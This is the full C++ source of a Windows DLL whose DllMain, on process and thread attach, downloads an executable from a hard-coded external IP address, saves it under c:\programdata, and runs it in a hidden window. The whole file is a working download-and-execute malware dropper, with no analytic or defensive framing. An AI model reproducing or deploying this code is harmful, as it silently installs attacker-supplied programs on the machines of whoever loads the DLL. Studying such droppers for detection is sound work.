#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#pragma comment( lib, "wininet.lib" )
#define RECVPACK_SIZE 8192
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
void download(const char *Url, const char *save_as) {
	BYTE Temp[RECVPACK_SIZE];
	ULONG Number = 1;

	FILE *stream;
	HINTERNET hSession = InternetOpen((LPCSTR)"RookIE/1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hSession != NULL)
	{
		HINTERNET handle2 = InternetOpenUrl(hSession, (LPCSTR)Url, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
		if (handle2 != NULL)
		{


			if ((stream = fopen(save_as, "wb")) != NULL)
			{
				while (Number > 0)
				{
					InternetReadFile(handle2, Temp, RECVPACK_SIZE - 1, &Number);

					fwrite(Temp, sizeof(char), Number, stream);
				}
				fclose(stream);
			}

			InternetCloseHandle(handle2);
			handle2 = NULL;
		}
		InternetCloseHandle(hSession);
		hSession = NULL;
	}
}

bool ExecFile() {
	memset(&ini_processo, 0, sizeof(ini_processo));
	ini_processo.cb = sizeof(ini_processo);
	ini_processo.dwFlags = STARTF_USESTDHANDLES;
	ini_processo.wShowWindow = SW_HIDE;
	CreateProcessA(NULL, "c:\\programdata\\temp1.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&ini_processo, &processo_info);
	return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		download("http://202.168.152.215:2017/250001.exe", "c:\\programdata\\temp1.exe");
		ExecFile();
		break;
	case DLL_THREAD_ATTACH:
		download("http://202.168.152.215:2017/250001.exe", "c:\\programdata\\temp1.exe");
		ExecFile();
		break;
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

